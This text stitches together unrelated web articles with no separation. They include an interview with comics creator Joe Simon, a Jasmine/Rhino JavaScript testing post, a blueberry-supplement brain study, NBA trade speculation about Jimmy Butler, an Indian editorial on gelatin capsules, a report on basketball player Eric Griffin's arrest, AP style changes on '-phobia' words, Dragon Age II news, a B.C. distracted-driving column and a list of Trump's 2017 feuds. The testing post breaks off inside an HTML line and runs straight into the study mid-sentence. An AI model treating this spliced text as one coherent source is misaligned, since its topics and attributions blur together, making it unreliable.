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Joe Simon, co-creator of "Captain America," and "Batman" artist Jerry Robinson at New York Comic-Con 2010. They both died in December 2011. (courtesy of Titan Books) (Used by permission/© 2011 DANA HAYWARD)
When Comic Riffs interviewed Mr. Simon this past summer, he was proud of the new Captain America “First Avenger” film, which topped the domestic box office its opening weekend. They got it right, he told us.
Also this summer, Simon released his winning autobiography, “Joe Simon: My Life in Comics,” which Comic Riffs highly recommends to any true student of the field. The man was a walking through-line traversing much of the history of American comic art.
Joe Simon — who broke into cartooning and journalism by drawing such prizefighters as Max Baer — seemed fated to be remembered for his jaw-socking comics. He even shared with us that he created a “secret,” never-seen remaking of the first Captain America cover — but with Cap KO’ing not Hitler, but rather Osama bin Laden.
But of course, Simon did so much more — he was proud of his romance comics, and his satire. So in memory of the man, here is our interview with Joe Simon that first ran in October, in advance of his 98th birthday:
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MICHAEL CAVNA: I must confess: As a former newspaper sports cartoonist — an art whose true heyday was so many decades earlier — I relish your stories about working for newspapers such as the Rochester Journal American. What do you think made that era of newspapering especially great for cartoonists -- and do you think that’s a time that newspapers can ever recover for comic artists?
JOE SIMON: That was a time before photography had completely taken over the newspapers, so there was still a huge demand for illustrators. And newspapers like the Rochester Evening Journal and the Sunday American were still willing to give kids like me a chance to show what we could do. I got to take the camera out, sit in the front row at the great boxing matches, and write feature stories that appeared on the front page.
For the most part those times have passed. While there were still great cartoonists like Bill Gallo, who just passed away, they’re going to be few and far between.
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CAVNA: I’m always struck by the sheer variety of your career — from newspaper illustration to romance to crime to superheros and satire, etc., etc. Are you ever amazed, looking back, at the breadth and output of your career?
SIMON: What astonishes me is that I’m still here to look back! But yes, I’m amazed and grateful for all of the things I had the opportunity to try, and am still getting to do.
My parents always tried new things — from tailoring to singing to writing romance stories — and from the start, I took a shot at writing, illustrating and photography for the newspapers. So I suppose it was only natural for me to continue in that vein once I got into comics.
Of course, back then, Lloyd Jacquet required you to do it all when you turned in a comic book story at Funnies Incorporated. It’s not as if we had a choice! I just happened to be suited to it.
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CAPTAIN AMERICA in THE NEW “AVENGERS” TRAILER:
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Celebrity caricatures — including Bing Crosby — from “Joe Simon: My Life in Comics.” (Joseph H. Simon/Titan Books)
CAVNA: Can you please speak to how you found inspiration in creating Captain America as a direct response to Hitler? And why do you think Cap still resonates so strongly today with readers and viewers?
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SIMON: Captain America has always been one of my favorites, but Jack and I were turning out character after character, always hoping one would be a hit with the audience. You had to keep working at it all the time, just to earn a living. That was the immediate goal: earning a living.
Back the, the world was a dangerous place, because of the things that were happening in Europe and Asia. So the audience was hungry for heroes. Today, the world is even more dangerous, with the things that are going on in the Middle East and other places. So there’s even more need for a hero who shows the way. That’s why Captain America [reached] the top of the box office.
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CAVNA: Why do you think we, the public, have a seemingly eternal and unquenchable thirst for great superheroes? What does it sate...fulfill...satisfy? When I asked Stan Lee this recently, by the way, he shaded his answer toward wish fulfillment.
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SIMON: Stan Lee, bless him, was right in that we’d all like to be that hero, punching out Adolf Hitler or Osama bin Laden. I did an updated version of the famous comic book cover, this time featuring bin Laden, and one day we may make it public.
It’s no accident that the first superhero boom came when we were facing the Great Depression and a world war. Superheroes represent the best in all of us — in that sense, they are us. So it’s natural that we look to them for our entertainment, whether it’s on the pages of the comic books or up on the big screen.
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CAVNA: As you look back on your long career, what accomplishments give you the most pride or joy?
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SIMON: Right now Captain America has to be one of my proudest accomplishments. It’s such a thrill seeing him in the theater, finally being done as well as he should have been all along.
Beyond that, I think I take the most pride from the deals I cut for things like the romance comics, Sick magazine, and some of my other creations. They proved that we didn’t have to give up all of our rights just to earn a living. Writers and artists are more in control today, and that’s the way it should be.
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Mr. Simon is survived by two sons, three daughters and eight grandchildren.
.I’ve been test driving the domain of my build radiator, XFD with the lovely Jasmine BDD framework for JavaScript. Jasmine is lovely. Browsers aren’t. Spawning a new browser to run your tests has issues for me:
Spawning a browser takes time and ruins my flow,
I’m trying to drive out logic – having a browser present will lead my design to un-natural couplings, and
It makes Continuous Integration that much harder
So I started investigating what I could do with Rhino and Envjs to make testing with Jasmine more awesome. Ingvald Skaug had been there before. It took me some time to really understand how the pieces fit together works, so I thought I’d expand on it.
Step 1: Check that Jasmine is working
I would have saved so much time if I’d started with this bit. What you need to do is download the core of Jasmine and stick it in your project. I started with the Jasmine RubyGem that spawns a browser and does the plumbing, but for this it’s back to basics. In my project it’s checked in at lib/jasmine-1.0.1. You need an HTML file to reference all the scripts and kick off the tests. Here’s an example derived from the Jasmine docs:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4 |
the test procedures. The ACE-III questionnaire, developed at Neuroscience Australia, assesses 5 cognitive domains: attention, memory, verbal fluency, language, and visuospatial abilities. The test took approximately 15 min to administer, and scoring was performed after the visit following the validated protocol ( Hsieh et al. 2013 ). A cut-off score of 88/100 was adopted to indicate cognitive impairment as recommended for a research context requiring high sensitivity (1.00) and lower specificity (0.96) ( Hsieh et al. 2013 ). Exclusion criteria were cognitive impairment, any contraindications to MRI, consuming more than 5 portions of fruit per day, and an age of less than 65 years. No participants were excluded on the basis of their ACE-III score.
The percentage change in performance of the 2-back tests showed weak evidence for improvement in the blueberry versus placebo groups (reaction time: placebo: 0.4 ± 0.4% vs blueberry: –1.0 ± 0.7%; p = 0.09; accuracy: placebo: –3.8 ± 2.5%; blueberry: 3.6 ± 2.7%; group by time interaction effect: p = 0.05). The change in performance for the other cognitive function tests were not significantly different between placebo or blueberry supplementation.
Performance of the Groton maze learning task (accuracy, p = 0.005), international shopping list task ( p = 0.002), and international shopping list with delayed recall ( p = 0.004, Table 2 ) improved over time, but there was no significant difference in this improvement among groups. Performance of the 1-back test tended to improve to a greater extent in the blueberry group but this was not statistically significant (speed, p = 0.094).
There was a significant decrease in serum glutathione concentration in both conditions (placebo: from 73.7 ± 3.6 to 64.4 ± 2.6; blueberry: from 70.0 ± 4.0 to 65.1 ± 3.6 μmol·L −1 ; main time effect p < 0.001), which tended to be smaller in the blueberry condition (placebo: –11.7 ± 2.8%; blueberry: –6.5 ± 2.4%; p = 0.09). However, an overall change in protein carbonylation HNE adduct or malonaldehyde formation between these groups was not evident (data not shown). There was no significant change over time in either serum hsCRP (placebo: 1.7 ± 0.6 to 1.4 ± 0.4; blueberry: 1.4 ± 0.5 to 1.4 ± 0.4 mg·L −1 ) or BDNF (placebo: 103.7 ± 10.1 to 98.8 ± 9.0; blueberry: 88.6 ± 7.3 to 97.4 ± 9.6 ng·mL −1 ) concentration, nor was there any difference between conditions.
No significant performance differences were seen between pre- versus postsupplementation visits or between groups for the number of correct responses while undertaking the numerical Stroop test. Over all cases, group accuracy percentages ranged between 98.1% and 98.8%. However, significant increases in brain activation responses were found in a number of task-associated regions following blueberry supplementation compared with placebo relative to the baseline visits (Brodman areas 4, 6, 10, 21, 40, 44, 45, precuneus, anterior cingulate, insula and thalamus, all p < 0.001, Fig. 1 ). In contrast, no significant increases in brain activity were observed following placebo compared with blueberry supplementation relative to baseline.
In this paper Top of page Introduction Materials and methods Results Discussion « References
Discussion
Chronic supplementation with blueberry concentrate providing 387 mg anthocyanins per day exerted favourable effects on cerebrovascular and cognitive function in healthy older adults. Specifically, resting-state perfusion in the gray matter of the parietal and occipital lobes and brain activation in a number of task-related different areas increased from baseline levels after 12 weeks of blueberry supplementation but not after placebo supplementation.
Improvements in task-related brain activation may reflect either increased cognitive effort due to better focus upon the numerical Stroop task or greater increases in task-related blood flow. Two other fruit polyphenol intervention studies also found increased task-specific brain activation after supplementation. Bookheimer et al. (2013) found that 4 weeks of supplementation with pomegranate juice increased verbal memory and task-related brain activation during verbal and visual memory tasks in healthy older adults. In addition, Krikorian et al. (2012) found that activation in right anterior and posterior cortical regions was increased when performing n-back tests during fMRI after 16 weeks of Concord grape juice supplementation (260 mg anthocyanins per day). In both cases, the authors attributed this response to improved vascular function, despite the absence of any direct measures of vascular function or perfusion. Similarly, 12 weeks of high flavanol cocoa consumption in a healthy older adult population improved task-related activation of the dentate gyrus, which is susceptible to aging-related functional deterioration, as well as performance of cognitive tests that rely upon the contribution of dentate gyrus (Brickman et al. 2014). In the present study, we observed increased task-related brain activation and increased resting-state cerebral perfusion in the parietal and occipital lobes after chronic blueberry supplementation. This seems to provide further support for the concept that the increased task-related brain activation observed by us and others (Bookheimer et al. 2013; Krikorian et al. 2012; Brickman et al. 2014) after chronic polyphenol supplementation can be attributed to improved cerebrovascular function.
Acute consumption of blueberry polyphenols (0.3–1.88 g) has been shown to increase endothelium-dependent vasodilatation in the brachial artery, with the response peaking 1 h after ingestion (Rodriguez-Mateos et al. 2013). In addition, a number of studies have found that chronic supplementation with fruit polyphenols improves peripheral vascular function, especially amongst study populations with impaired cardiovascular function (Coimbra et al. 2005; Poreba et al. 2009). Most recently, Khan et al. (2014) found that blackcurrant polyphenol supplementation for 6 weeks (815 mg polyphenols including 143 mg anthocyanins per day) improved flow-mediated dilatation in healthy adults consuming 2 or less portions of fruit and vegetables per day. However, the present study is the first to directly measure changes in cerebral perfusion in response to chronic fruit supplements using arterial spin labelling. The mechanism of these effects is likely to be related to improved availability of the potent vasodilator, NO, in the vasculature. There is evidence from in vitro studies that polyphenols induce activation of endothelial NO synthase via signalling through Estrogen Receptor-α via G protein, ERK and PI3K pathways (Chalopin et al. 2010). In addition, polyphenols have been shown to inhibit nicotinamide adenine dinucleotide phosphate oxidase, one of the key sources of superoxide production (Maraldi 2013), and to induce signalling through Nrf2 thus increasing endogenous antioxidant capacity (Ramirez-Sanchez et al. 2013); both of these will preserve NO bioavailability by reduced formation of peroxynitrite from the reaction of NO and superoxide. In the present study, glutathione status declined in both conditions across the 12-week study. Although this decline was slightly attenuated in the blueberry group, serum reduced glutathione status was not increased after blueberry supplementation as hypothesised given that glutathione is a downstream target of the Nrf2-ARE pathway. There was no evidence of reduced oxidative modification of proteins or lipids since serum protein carbonyls, malondialdehyde, and HNE adducts were not differentially affected by blueberry versus placebo. However, blood samples were not collected in the fasted state, and the last supplement dose was consumed at least 24 h prior to measurements, so such effects may no longer be evident at least in the extracellular compartment.
We a priori hypothesised that blueberry-induced increases in cerebrovascular perfusion would result in neurogenesis of brain areas that retain capacity for neurogenesis into adulthood such as the hippocampus. However, serum BDNF concentration, a marker of neural synaptic plasticity that has been associated with long-term memory improvements, was not affected by blueberry supplementation. Again, however, blood samples were not taken in a fasted state which may introduce significant variation and confounding, since feeding status has been shown to affect serum BDNF concentration (Karczewska-Kupczewska et al. 2012). To our knowledge, the acute or chronic effects of fruit polyphenol supplementation on human plasma BDNF have not been previously assessed and may warrant further investigation, especially given that consumption of the Mediterranean diet for 3 years has been shown to elevate BDNF in those with depression (Sanchez-Villegas et al. 2011).
Although Kolehmainen et al. (2012) found that 8 weeks of bilberry consumption, providing 1323 mg·d−1 anthocyanins (∼400 g·d−1), reduced hsCRP in middle-aged men and women with metabolic syndrome; blueberry supplementation in the present study, providing 387 mg anthocyanins per day, did not affect hsCRP concentration. The discrepancy between trials may relate to the restriction of dietary berry consumption by Kolehmainen et al. (2012), the difference in participant characteristics, and the lower dose of anthocyanins in the present study. Although the study was not powered to detect significant effects in cognitive function, consistent with previous studies (Macready et al. 2009; Mastroiacovo et al. 2015), there was some evidence of improvement in processing speed and working memory following blueberry supplementation.
In conclusion, blueberry concentrate consumed once per day (30 mL, providing 387 mg anthocyanins) for 12 weeks increased activation of brain areas associated with cognitive processes including memory and executive function, which tend to deteriorate with age. These effects of blueberry appear to be mediated by improved vascular function as suggested by the improved resting perfusion of gray matter in the parietal and occipital lobes of the brain.The Minnesota Timberwolves reached out to the Chicago Bulls in regard to a trade for Jimmy Butler, according to The Vertical’s Adrian Wojnarowski. The Bulls asking price is still high, according to Woj, but the Timberwolves have a mix of draft picks and young players who could entice the Bulls, who won’t commit to building around Butler for the future.
A trade to Minnesota would reunite Butler with Tom Thibodeau, who now coaches the Timberwolves but developed the forward as head coach in Chicago. It would also give the Wolves a legitimate All-Star to lead a trio of talented young players — Karl-Anthony Towns, Andrew Wiggins and Zach LaVine — into the Western Conference playoff picture, though one of those three would have to head to Chicago in any trade.
Butler made his first All-Star start this season while averaging 24 points, 6.2 rebounds, and 5.5 assists for the Bulls. He has three years remaining on his contract worth more than $56 million but can opt out of the third year of his deal to test free agency and command a max offer.
What could the Timberwolves offer?
To keep it simple, let’s say Towns and Wiggins are untouchable. Here are the rest of the Timberwolves players and assets this summer:
Minnesota player salaries:
Ricky Rubio — $14.25M
Gorgui Dieng — $14.1M
Nikola Pekovic — $11.6M
Cole Aldrich — $7.3M
Jordan Hill (player option) — $4.1M
Kris Dunn — $4M
Zach LaVine — $3.2M
Nemanja Bjelica — $3.95M
Tyus Jones — $1.4M
All signs point to Pekovic’s medical retirement after missing all of last season with an ankle injury. That clears up cash for free agency but not for a trade.
Minnesota draft picks
The Timberwolves’s 2018 first-round pick is top-14 protected. If they make the playoffs next season, the pick conveys to the Hawks.
The Timberwolves aren’t getting Butler at a discount. Chicago’s asking price has gone up for the All-Star wing, and it’s hard to envision the Bulls giving him up for less than they could get elsewhere.
That would make LaVine the primary trade chip in a Butler deal. The Timberwolves would also have to add Rubio or Dieng to make the salaries match.
Why this makes sense for Minnesota
In Butler, the Timberwolves get the All-Star they need to make a run at playoff contention. The West is stacked, but with a legitimate All-Star and a duo of budding stars, Minnesota becomes an attractive destination for free agents if Butler sticks around after his 2018 free agency.
Even if he doesn’t, the Timberwolves would still have a battle-tested Towns and Wiggins to retool around.
The trade could also put Thibodeau and Butler back together to form one of the best coach-player combinations in the league.
This deal makes sense for Chicago, too
LaVine missed the second half of the season after tearing his left ACL in early February. Despite a breakout third NBA season — 18.9 points per game on 38.7 percent three-point shooting — such a debilitating injury casts a shadow over a player whose biggest advantage was surreal athleticism.
But LaVine made a huge leap from Year 2 to Year 3. He developed into a sniper from three-point range and showed he, too, could carve out a solid role as a starter in the NBA. That was before his injury, but the flashes were there.
The Bulls could get a legitimate young player, along with a serviceable vet and one of the Timberwolves’ draft picks — maybe even the seventh overall this year.
Probability a trade will happen: 5/10
Butler to the Timberwolves makes sense, but other teams will compete for the All-Star’s services. Cleveland was inquiring about a deal with Chicago before David Griffin stepped down as GM. He wasn’t the first and surely won’t be the last executive to engage in trade talks.
For that reason, I give this deal a 50 percent chance at happening this summer. The reunion of coach and player sounds good, but the reality is Chicago will take the best offer it’s made. And if another team swoops in with a better offer, the Timberwolves will either have to pay up or let Butler go elsewhere.A notice issued by a health ministry expert committee in the first week of June signals the government’s intention to usher major change in India’s pharmaceutical sector. It invites comments from stakeholders about replacing widely-used animal parts-based gelatin capsules with those derived from cellulose. Currently, 98 per cent of the Indian pharmaceutical industry uses animal parts-based capsules. But the government has been pitching for “vegetarian capsules” for the past two years. However, there is little medical — or commercial — reasoning behind this proposal. By all accounts, a switch over to cellulose-based capsules could jeopardise the government’s recent initiatives to make medicines accessible to all.
In 2015, the scientific committee which advises the Drug Controller General of India (DGCI) gave an in-principle approval to the shift to cellulose-based capsules. In an e-mail last year to the joint secretary, health ministry, the DGCI pitched for “vegetable capsules for vegetarian society”. The DGCI’s vegetarian fetish found support from the Women and Child Development Minister Maneka Gandhi. In a representation to the health ministry last year, she argued, “In a country where there are millions of people, this hurts religious sentiments and many people avoid medicines that are in a capsule form”. The health ministry’s latest notice is in response to this representation.
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In 2015, the scientific committee which advises the Drug Controller General of India (DGCI) gave an in-principle approval to the shift to cellulose-based capsules. In an e-mail last year to the joint secretary, health ministry, the DGCI pitched for “vegetable capsules for vegetarian society”. The DGCI’s vegetarian fetish found support from the Women and Child Development Minister Maneka Gandhi. In a representation to the health ministry last year, she argued, “In a country where there are millions of people, this hurts religious sentiments and many people avoid medicines that are in a capsule form”. The health ministry’s latest notice is in response to this representation.
The ministry has overruled the reasoning of its premier advisory agency, the Drug Technical Advisory Board, which had dismissed Gandhi’s representation on the grounds that: “Unlike food, drugs are not taken as choice but are prescribed by doctors to save lives and marking them as vegetarian or non-vegetarian is not desirable”. Industry, too, is sceptical of the move. It has argued that the gelatin capsules have been in use all over the world for more than 180 years. Questions have also been raised about the viability of cellulose-based capsules. In a representation to the DGCI last year, the PHD Chamber of Commerce and Industry cited the huge economic cost of the switch, which may also impact accessibility of medicines. “The investments required to be made for manufacturing cellulose-based capsules are substantial and will require planning and time,” the industry body argued. It reckons that the cost of raw material required to make cellulose capsules is “approximately four times that of gelatin and the manufacturing cost of cellulose-based capsules approximately three times the cost of gelatin capsules”. The health ministry’s June notice invites opinions from industry, NGOs and medical bodies. But the government will do well to guard against pandering to “religious sentiments” on health matters.Former D-League All-Star Eric Griffin was arrested Friday on attempted murder charges after he and another man, 23-year-old Daquan Lundy, allegedly fired several rounds at a third individual outside an Orlando, Fla., apartment building.
The alleged victim, 24-year-old Treavor Glover, told police he was approached by two black males as he walked from his car to his apartment at approximately 1:19 a.m. on April 27. Glover stated that the larger of the two men fired two shots in his direction, and the other fired one. Griffin’s arrest warrant lists him at 6-foot-9 and 200 pounds, while Lundy is listed at 5-foot-7 and 185 pounds.
Glover told police he attempted to flee to the rear of the apartment complex after the initial three shots but fell to the ground as he ran away, skinning his hand. Glover stated that "at least one" of the men then stood over him and fired four shots at close range, with one shot grazing his forehead. It’s unclear based on the incident report which of the two men fired the shot that struck Glover.
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Glover also indicated that, after the confrontation, the men got in a dark-colored sedan and drove off. He stated that he did not believe he’d been followed into the complex when he arrived and said that neither of the men said anything or attempted to rob him during the incident.
Additionally, Glover told officers that he’d never met or seen either of the men who attacked him, but informed police that his girlfriend’s brother, Gino Nicolas, was murdered in a separate shooting the week prior and claimed that rumors are circulating among Nicolas’ friends that Glover is friends with the alleged shooter in that case.
He subsequently signed with the D-League’s Texas Legends and became an All-Star, averaging 19 points, 6.6 rebounds and 2.4 blocks over 49 games.
Nicolas, a 24-year-old local youth leader, was killed in a drive-by shooting on April 16 about seven miles from where Glover was reportedly attacked. A total of six individuals were shot in that incident, a group that included Lundy. Griffin was reportedly close friends with Nicolas, as well.
Griffin, 25, and Lundy were taken into custody late Friday night and are still being held without bond in the Orange County jail as of Tuesday morning. Griffin entered a not-guilty plea at his arraignment Monday. Griffin’s attorney, Victor Mead, also filed a motion to set a bond in the case. That motion will be heard Wednesday.
Email and phone messages left for Mead Tuesday have not yet been returned.
An Orlando native, Griffin played two seasons at Campbell University before going undrafted in 2012. He appeared in two games for the Los Angeles Lakers during the 2012 Vegas summer league and spent the 2012-13 season playing professionally in Italy. He then averaged 8.0 points and 4.3 rebounds for the Miami Heat in the 2013 Orlando summer league and later signed with the team but was released before the start of the regular season.
After a season split between Puerto Rico and Venezuela, Griffin averaged 11.4 points for Dallas in the 2014 Vegas summer league, earning himself a contract with the Mavericks. However, he was again released during the preseason. He subsequently signed with the D-League’s Texas Legends and became an All-Star, averaging 19 points, 6.6 rebounds and 2.4 blocks over 49 games.
It would mean everything to me to make it to the NBA. Eric Griffin
After another stint in Puerto Rico, Griffin played with both the Los Angeles Clippers and Cleveland Cavaliers in the 2015 summer league. He signed a non-guaranteed deal with the Detroit Pistons in September but was waived in October. Most recently, Griffin played professionally in Dubai, but said he still has aspirations of playing in the NBA.
"It would mean everything to me to make it to the NBA," Griffin told SB Nation in a story published Friday, the day of his arrest. "I genuinely believe that I have the ability to play in the league and contribute on a winning team. I don’t have control over when a team will call, so the only thing I can do is continue to work hard. When I get the opportunity, I’m going in."
You can follow Sam Gardner on Twitter or email him at samgardnerfox@gmail.com.AP says calling anti-gay hate a ‘phobia’ is inaccurate but word’s inventor says it is needed and ‘hard won’
The Associated Press (AP) has banned its journalists from using words like ‘homophobia’ and ‘transphobia’.
Its new Stylebook, which dictates the language reporters must use, also scraps the word ‘Islamophobia’ and the phrase ‘ethnic cleansing’ which it says is a euphemism.
American newswire service AP has 3,400 employees, scattered in bureaus around the world. But its guide is even more influential as many other publications use it rather than create their own.
Politico, the political news site, says Associated Press’ new style guide says ‘-phobia’ should not be used for ‘political or social contexts’ as it means ‘an irrational, uncontrollable fear, often a form of mental illness’.
‘A phobia is a psychiatric or medical term for a severe mental disorder. Those terms have been used quite a bit in the past, and we don’t feel that’s quite accurate,’ AP deputy standards editor Dave Minthorn told them.
‘Homophobia especially – it’s just off the mark. It’s ascribing a mental disability to someone, and suggests a knowledge that we don’t have. It seems inaccurate. Instead, we would use something more neutral: anti-gay, or some such, if we had reason to believe that was the case.’
Commentators Gay Star News has spoken to understand the point Associated Press is trying to make but say ‘homophobia’ is a commonly-used term and there is no alternative.
But, as Advocate reports, George Weinberg, the psychologist who coined the word ‘homophobia’ in his 1972 book Society and the Healthy Homosexual, told disagrees with AP.
Weinberg said: ‘It encapsulates a whole point of view and of feeling. It was a hard-won word, as you can imagine. It even brought me some death threats.
‘Is homophobia always based on fear? I thought so and still think so. Maybe envy in some cases. But that’s a psychological question. Is every snarling dog afraid? Probably yes. But here it shouldn’t matter.
‘We have no other word for what we’re talking about, and this one is well established. We use “freelance” for writers who don’t throw lances anymore and who want to get paid for their work…
‘It seems curious that this word is getting such scrutiny while words like triskaidekaphobia [the fear of the number 13] hang around.’
Helen Belcher of Trans Media Watch told GSN: ‘We don’t work on the basis of prescribing or proscribing words but this words are in common usage and are commonly understood.
‘To remove them from a style guide because they are medically inaccurate takes us back to the question of what other word would you use?’
The changes have been made online and the printed version will change next year.Dragon Age II takes a page from the Mass Effect playbook, limiting player characters to a male or female human version of the game's main character, Hawke.
In Dragon Age: Origins, players could choose from four different races and three different character classes, with each combination coming complete with its own playable origin story.
Dragon Age II is not Dragon Age: Origins.
Instead of multiple origins, there is only one. From the official press release:
"Dragon Age 2 thrusts players into the role of Hawke, a penniless refugee who rises to power to become the single most important character in the world of Dragon Age. Known to be a survivor of the Blight and the Champion of Kirkwall, the legend around Hawke's rise to power is shrouded in myth and rumor. Featuring an all-new story spanning 10 years, players will help tell that tale by making tough moral choices, gathering the deadliest of allies, amassing fame and fortune, and sealing their place in history. The way you play will write the story of how the world is changed forever."
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BioWare's Chris Priestly confirms on the forums that, like Commander Shepard from the Mass Effect series, players will be able to create either a male or female Hawke. Like Mass Effect, this should allow for a deeper story, while allowing characters to refer to the main character by name. I'm sure emotional engagement has something to do with it as well.
Like many fans in the forums, this decision rubs me the wrong way. While I enjoyed playing my own Commander Shepard in Mass Effect, my Dragon Age character felt much more like an extension of myself than Shepard did, even if it was a female elf.
Multiple races in DA2? [BioWare Forums - Thanks Chris!]Columnist Mike Smyth writes about the B.C. government's latest crackdown on distracted driving. Is it really a cash grab in disguise?
The B.C. government’s latest crackdown on distracted driving should be good news for Kyla Lee, a Vancouver defence lawyer who specializes in fighting traffic tickets in court.
That’s because every time the government’s hammer comes down, the calls to her law office go up. It’s happened every time the people in charge have ramped up penalties against drivers using their mobile phones behind the wheel.
This time — with the fines and penalties scheduled to soar to $2,000 for a second offence — she’s expecting her own phone to ring off the hook.
“Not a lot of people have $2,000 kicking around to just pay a huge penalty,” Lee told me Wednesday. “More people will decide it’s worth the time and expense to fight back.”
But while the crackdown could be good for business, Lee wonders if the government is doing the right thing — and not just because of the added strain on the justice system.
“Hitting people in the pocketbook doesn’t seem to be working,” she said. “Every time they increase the penalties, the police just keep writing more tickets and nothing seems to change.
“It’s starting to look more and more like a way for the government to line its own pockets.”
Derek Lewers, a researcher with the drivers’ advocacy group SENSE B.C., also sees a cash grab in the works.
“The government is already counting on collecting an additional $5 million a year from increased penalties — that was right in their press release,” he said. “Instead of trying to stop the behaviour, they’re already banking the cash.”
That doesn’t mean Lewers thinks people should be allowed to type emails or text-message on their phones while driving.
“But that’s not what most distracted-driving tickets are issued for,” he said. “Most tickets are for a driver simply touching a cellphone while stopped at a traffic light.”
Under the current law, it’s illegal to handle a cellphone behind the wheel, even if the vehicle isn’t moving.
Lewers pointed to records released under B.C. Freedom of Information laws to back up his point. Of 52,000 distracted-driving tickets issued in 2013, only 1,000 were for “texting or emailing,” the records show.
“The rest were mainly for drivers physically touching a phone, usually while stopped at an intersection,” Lewers said. “You are allowed to fiddle with the buttons on a radio or move a briefcase into your back seat or drink a cup of coffee, but you cannot touch a cellphone.”
Lee, the defence lawyer, thinks the government sees a chance to make a lot of money in a hurry.
“Rather than spending money to correct a problem — like deploying specially trained distracted-driving enforcement officers, for example — they’re planning to collect money from citizens because of the problem.”
Don’t expect the government to reverse course. The opinion polls support a distracted-driving crackdown. And the B.C. government is desperate for cash to stop the financial bleeding at ICBC.
The best advice for drivers: Don’t even look at your phone, even when your car is parked, or it could cost you a tonne.
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Dec. 26, 2017, 7:59 PM GMT / Updated Dec. 26, 2017, 7:59 PM GMT By Jackson Hudgins
President Donald Trump hasn't slowed down his barrage of attacks since becoming president. And some things never change: The news media and Hillary Clinton remain two of his top targets. Here's a look at the 13 biggest feuds of Trump's 2017.
TRUMP v. ROBERT MUELLER
The president’s most consequential feud this year has also been his most one sided — all Trump, and nothing but silence from Special Counsel Robert Mueller.
Mueller began investigating Russian interference in the 2016 election after his appointment in May. By December, he had indicted or charged four members of the president’s transition team or cabinet, including former National Security Adviser Michael Flynn and former campaign chairman Paul Manafort.
Trump has vigorously challenged the legitimacy of the investigation, repeatedly describing it as "fake news" on Twitter, and often characterizing it as “phony.” Trump also said it was “led by some very bad and conflicted people” and the “single greatest witch hunt of a politician in American History.”
In mid-December, Republicans pounced on politically charged text message exchanges between two FBI officials previously involved in the investigation, in what analysts described to NBC News as a concerted political strategy to discredit potential Mueller findings.
In a House Committee on the Judiciary oversight hearing Rep. Lamar Smith, (R-Tex.), asked Rod Rosenstein, who appointed Mueller and oversees the probe, “How with a straight face can you say that this group of Democratic partisans are unbiased and will give President Trump a fair shake?”
Rosenstein was later asked why he described himself as satisfied with the Mueller investigation: "Based upon what I know, I believe Director Mueller is appropriately remaining within his scope and conducting himself appropriately."
TRUMP v. JAMES COMEY
Former FBI director James Comey takes his seat before testifying at the beginning of the Senate Intelligence Committee hearing on Capitol Hill on June 8. Andrew Harnik / AP
Trump’s move in May to fire FBI Director James Comey didn’t relieve the “great pressure” he was feeling on Russia. Instead, it set the stage for the appointment of Special Counsel Robert Mueller less than 10 days later.
The decision to fire Comey came after a series of meetings in which Trump, according to Comey, asked for “loyalty,” and for the FBI director to lay off of national security advisor Michael Flynn, who the Justice Department had determined to be vulnerable to blackmail by Russian agents.
Comey detailed the meetings in memos he later presented to the Senate Intelligence Committee.
Trump has assailed Comey on Twitter since firing him, calling him a leaker and a liar, accusing him of meddling in the FBI investigation of Hillary Clinton, calling him the worst FBI director in history, characterizing his leadership at the FBI a “disaster” and threatening to release tapes of their conversations (which never materialized), among other insults.
On December 1st, the day Michael Flynn pleaded guilty in a federal district court to lying to the FBI, Comey tweeted a verse from Amos 5:24: “But justice roll down like water and righteousness like an ever-flowing stream.”
TRUMP v. SENATE REPUBLICANS
Trump has personally called out Sen. Lisa Murkowski (R-AK) for her “no” vote on health care, battled with Sen. John McCain (R-Ariz.), (who forcefully condemned his “spurious nationalism”), suggested GOP Majority Leader Mitch McConnell step down, and railed into Sen. Lindsey Graham (R-S.C.) for his criticism of the president’s response to a white nationalist rally in Charlottesville.
But his biggest flare-ups were with two Republican senators free of the moderating influence of reelection campaigns, Sens. Bob Corker (R-Tenn.) and Jeff Flake (R-Ariz.).
Corker told The Times that he feared Trump’s recklessness could lead the nation “on the path to World War III,” and engaging in a days-long Twitter battle with the president. That fight included one of the most unique Trump insults of the year: that Corker “couldn’t get elected dog catcher in Tennessee.”
Flake delivered an impassioned anti-Trump treatise on the Senate floor in October, announcing that he would not run for office again in 2018. “We must stop pretending that the conduct of some in our executive branch are normal. They are not normal,” he said.
Trump was undeterred. The day after Flake’s speech he tweeted, “The reason Flake and Corker dropped out of the Senate race is very simple, they had zero chance of being elected. Now act so hurt & wounded!”
TRUMP v. HIS ACCUSERS
On December 12th, Trump called the over a dozen public allegations of sexual misconduct against him “false accusations and fabricated stories.” In a statement the day before, the White House called the claims absurd and accused the women of having "political motives."
Trump, who bragged about groping women in a 2005 Access Hollywood tape that was made public during the 2016 election, had seemingly weathered the storm of accusations that followed its release. But a wave of high-profile sexual assault cases has reignited the debate.
Three of Trump's accusers, Jessica Leeds, Samantha Holvey and Rachel Crooks, spoke to Megyn Kelly on December 11th. Holvey said it was "heartbreaking" to watch America vote for Trump even with his long list of accusers, but that she wanted to try "round two."
"The environment's different, let's try again," Holvey said.
Rachel Crooks, Jessica Leeds and Samantha Holvey hold a press conference where they accused President Donald Trump of sexual harassment, in New York on Dec. 11. Monica Schipper / Getty Images
Trump is also currently the subject of a defamation lawsuit filed by Summer Zervos, who claims he sexually assaulted her during a business meeting in 2007.
TRUMP v. JEFF SESSIONS
Trump spent the second half of July relentlessly criticizing Attorney General Jeff Sessions, calling him “VERY weak” and “beleaguered” on Twitter, stoking rumors that he would be fired.
In September, The New York Times reported that Trump blamed Sessions for the appointment of Special Counsel Robert Mueller. He reportedly asked Sessions for a resignation letter in May, during a verbal assault that Sessions told associates was the “most humiliating experience in decades of public life.”
“He should not have recused himself from the Russia investigation almost immediately after he took office, and if he was going to recuse himself, he should have told me prior to taking office, and I would have quite simply picked somebody else,” Trump said at a press conference on July 25th. “It’s not fair to the presidency.”
Trump’s barrage of criticism received serious pushback from conservatives who were disturbed by Trump’s willingness to publicly dress down one of his most loyal supporters.
Sessions recused himself from the Russia Investigation in early March, after it was revealed he failed to disclose meetings with Russian officials during Senate testimony.
TRUMP v. REX TILLERSON
Secretary of State Rex Tillerson arrives for the first meeting of the National Space Council in Chantilly, Va. on Oct. 5. Andrew Harnik / AP
A simmering feud between the president and his secretary of state burst into public view in October, when an NBC News report alleged that Tillerson had referred to the president as a “moron." That report also detailed that the secretary of state had seriously considered resigning over the summer.
